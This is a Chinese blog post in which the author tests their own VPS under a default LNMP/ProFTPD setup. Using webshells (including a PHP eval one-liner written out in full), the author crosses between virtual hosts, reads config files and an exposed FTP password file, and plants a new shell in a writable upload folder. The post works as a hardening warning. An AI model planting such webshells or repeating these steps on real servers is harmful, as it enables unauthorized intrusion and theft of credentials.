对自己VPS的一次安全检测

2020-10-16 10:36:24 浏览数 (1)

对自己VPS的一次安全检测

    最近想给学弟学妹赞助点主机,正好我的VPS资源尚有不少。在提供之前,先检查一下自己的vps安全性,检查以后吓自己一跳。

    先说明一下我的VPS状况:

        debian Linux 2.6.32-5-686-bigmem #1 SMP Sun Sep 23 10:27:25 UTC 2012 i686 GNU/Linux

安装的是http://lnmp.org/的LNMP一键安装包,并又安装了其中的ProFTP。然后没有再装其他东西了。

    网站根目录在/home/wwwroot/,现有的目录结构是这样:

    配置过程基本默认:先用/root/vhost.sh创建1.xxx.com、2.xxx.com,3.xxx.com,再用/root/proftpd_vhost.sh新建两个ftp用户wordpress和afcin,分别赋予其根目录为2.xxx.com、3.xxx.com,而1.xxx.com还是归www用户所有。最后来到/home/wwwroot下把两个目录所有者修改为wordpress和afcin,就有了上图。

/root/vhost.sh和/root/proftpd_vhost.sh脚本是默认装好lnmp与proftpd后就有的,这个装过的朋友应该清楚。

    然后再以各自用户权限上传web应用,1.xxx.com是emlog,2.xxx.com是wordpress,3.xxx.com是typecho。最后,2.xxx.com传一个大马(2011.php)和一个一句话(1.php)。

我现在就以wordpress权限的大马和一句话来跨站。

    首先菜刀连接一句话:

    首先我发现,用ftp上传上去的2011.php和01.php是644权限,(其他的都是755权限是因为其他的文档都是我用root权限传上去并将所有人改为wordpress的)然后菜刀不能执行命令:

    而且目录不可写。也无法读上层目录,mysql不是root权限。

    菜刀感觉这个时候无力了,于是打开我们的大马2011.php。

    大马也是目录不可写(废话),但可以执行命令:

    于是这样好办了,先看看能不能list他人的目录:

    直接列出了1.xxx.com的目录文件。试着读一读它的配置文件:

    没有回显。我试了cat、less、more、head都没有回显,但神奇的tail命令给了我惊喜:

    居然读出来了!这让我很纳闷,tail跟head应该是好基友,为何head不行tail就可以。理解不了就不理解了。

    读出数据库账号密码就能在菜刀里直接连接数据库了,不过密码解不出来。但是读出的auth key能伪造cookie访问后台,emlog后台秒拿shell(如果目录有写权限的话)。于是,成功的把目录给跨了。

    然后继续。我们来到/tmp:

    发现其中有一个.passwd有可读权限,我们试试tail:

    居然是用户afcin的ftp账号密码……这样,3.xxx.com不用跨目录就沦陷了……

    再继续。如果我们通过数据库、后台手段拿不下1.xxx.com的webshell,怎么办?于是再拿出shell,找找有没有目录可写的。一般像图片、附件上传目录都能写的,比如:

    发现一个可写的目录,于是我们向其中写入一句话:

echo '<?php eval($_POST[phithon]); ?>' > /home/wwwroot/1.xxx.com/content/uploadfile/201310/00.php

    用菜刀连接看看:

    OK无压力。

    基本上能跨的都被我跨了,提权就不试了,太晚了。

    经过这一轮的测试,我才发现,默认的lnmp和ftp安全性是多么脆弱。如果我把这样的ftp账户发送给学弟,我自己网站被他们爆菊了都不知道。。。

    希望大家看过文章后能警觉,php安全模式还是要开启的。默认配置害死人,请大家留意。

0 人点赞